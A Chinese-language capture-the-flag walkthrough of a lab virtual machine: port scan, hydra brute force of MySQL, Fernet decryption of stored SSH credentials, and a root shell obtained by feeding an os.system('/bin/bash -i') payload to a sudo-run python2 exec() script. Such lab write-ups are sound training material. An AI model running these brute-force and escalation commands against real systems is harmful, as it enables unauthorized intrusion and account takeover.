前言
这是打靶训练的第20周,靶机下载,难度低。
信息搜集
nmap扫描结果
PORT STATE SERVICE VERSION
1337/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
3306/tcp open mysql MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
可看到只开启了ssh和mysql,这种情况,只有爆破了。使用hydra 爆破mysqlhydra -l root -P rockyou.txt mysql://10.16.122.23
经过漫长的等待,得到用户名root
,密码prettywoman
,期间又去爆破ssh无果
使用mysql -u root -h 10.16.122.23 -p
,成功连接上数据库后,先查看有那些数据库
查看data
数据库,得到fernet
表
查看表中的内容
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
| cred | keyy |
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
| gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys= | UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0= |
+--------------------------------------------------------------------------------------------------------------------------+----------------------------------------------+
这个一看就是密文和密钥,关键是用的什么加密,其实表名fernet
,就给出了答案。fernet
是python的一个加密库。根据官方用例,写出下面的解密代码
from cryptography.fernet import Fernet
key = 'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
f = Fernet(key)
token = b'gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys='
print(f.decrypt(token))
运行结果
b'lucy:wJ9`"Lemdv9[FEw-'
提权
猜测是ssh账号,使用ssh lucy@10.16.122.23 -p 1337
,密码wJ9'”Lemdv9[FEw-,成功登录
查看cat /opt/exp.py
内容
uinput = raw_input('how are you?')
exec(uinput)
经典的exec提权,sudo /usr/bin/python2 /opt/exp.py
,执行import os;os.system("/bin/bash -i")
,打靶结束